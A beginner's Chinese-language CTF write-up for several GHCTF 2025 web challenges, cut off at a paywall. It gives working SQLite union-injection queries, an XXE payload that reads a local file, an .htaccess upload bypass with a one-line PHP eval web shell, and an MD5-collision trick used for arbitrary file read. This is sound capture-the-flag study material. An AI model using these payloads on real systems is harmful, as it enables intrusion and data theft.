ctf萌新第一次写wp,如有错误请师傅们指出
[GHCTF 2025]SQL???
打开靶机是一个用户查询的页面,结合题目名称猜测是sql注入,但是常规方法都试过了没办法注入,当时也是很懵逼,后来一个同学用sqlmap一扫说是提示sqlite注入,这才恍然大悟。
sqlite是除mysql外另一个数据库,语法与mysql相比稍微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题甚至连过滤都没有。
查字段数
?id=1 union select 1,2,3,4,5

查表名和列名
?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;

查询数据
?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
得到flag
官方wp
查字段数
id=1 order by 5
查看表
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
查数据
union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
[GHCTF 2025](>﹏<)
打开是一段代码
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
看到flask看到lxml,差不多能猜到是xxe漏洞,漏洞点是第18行这段代码和lxml库的使用。
我们看到可以在/ghctf目录下使用post方式传参xml,这里只需要对xml构造xxe攻击payload即可。
尝试在ghctf路由下post传入xml的值
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>
发现无法传入,我们尝试抓包上传
直接上传的话会报500错误,我们需要把xml的值url编码一下再上传

拿到flag
官方wp
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY nn SYSTEM "file:///flag">
]>
<user>
<name>&nn;</name>
<age>18</age>
</user>
[GHCTF 2025]UPUPUP
这个题我不会,直接看官方wp
官方wp
考点:getimagesize和exif_imagetype绕过
apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00
.htacess
#define width 1
#define height 1
<FilesMatch "hey.hey">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传hey.hey,content-type是image/jpeg
#define width 1
#define height 1
<?php eval($_REQUEST[1]);?>
蚁剑连接查看flag即可
[GHCTF 2025]ez_readfile
打开是一段代码
<?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>
三个if判断是md5强碰撞,这个我们可以用fastcoll生成md5碰撞字符
fastcoll的用法
我们找到fastcoll文件路径,找到fastcoll.exe
我们在这个文件的文件夹下新建一个1.txt,名字任意,然后往里随便输入一些内容比如一个数字1
然后保存这个文件,关闭,把他拖进fastcoll,一段时间后会生成两个文件

直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式
<?php
class CDUTSEC{
public $var1;
public $var2;
}
$tr = new CDUTSEC();
$tr->var1 = file_get_contents('E:\\1_msg1.txt');
$tr->var2 = file_get_contents('E:\\1_msg2.txt');
echo urlencode($tr->var1);
echo "\n\n";
echo urlencode($tr->var2);
修改刚才生成的两个文件的路径,运行这段代码,就可以得到经过url编码的两个经过md5强碰撞的值
然后就可以向靶机传入a和b的值,三个if判断条件就都可以满足
这里注意不能直接从网页传参,要用bp抓包传参,因为url解码后存在%00不可见字符,直接传参会被吞,使用bp抓包传参就可以避免这种情况。

可以看到已经可以读取文件/etc/passwd,说明判断已经打通,下面就是如何读取flag的问题。
这里用到的知识点是CVE-2024-2961漏洞

最低0.47元/天 解锁文章
421






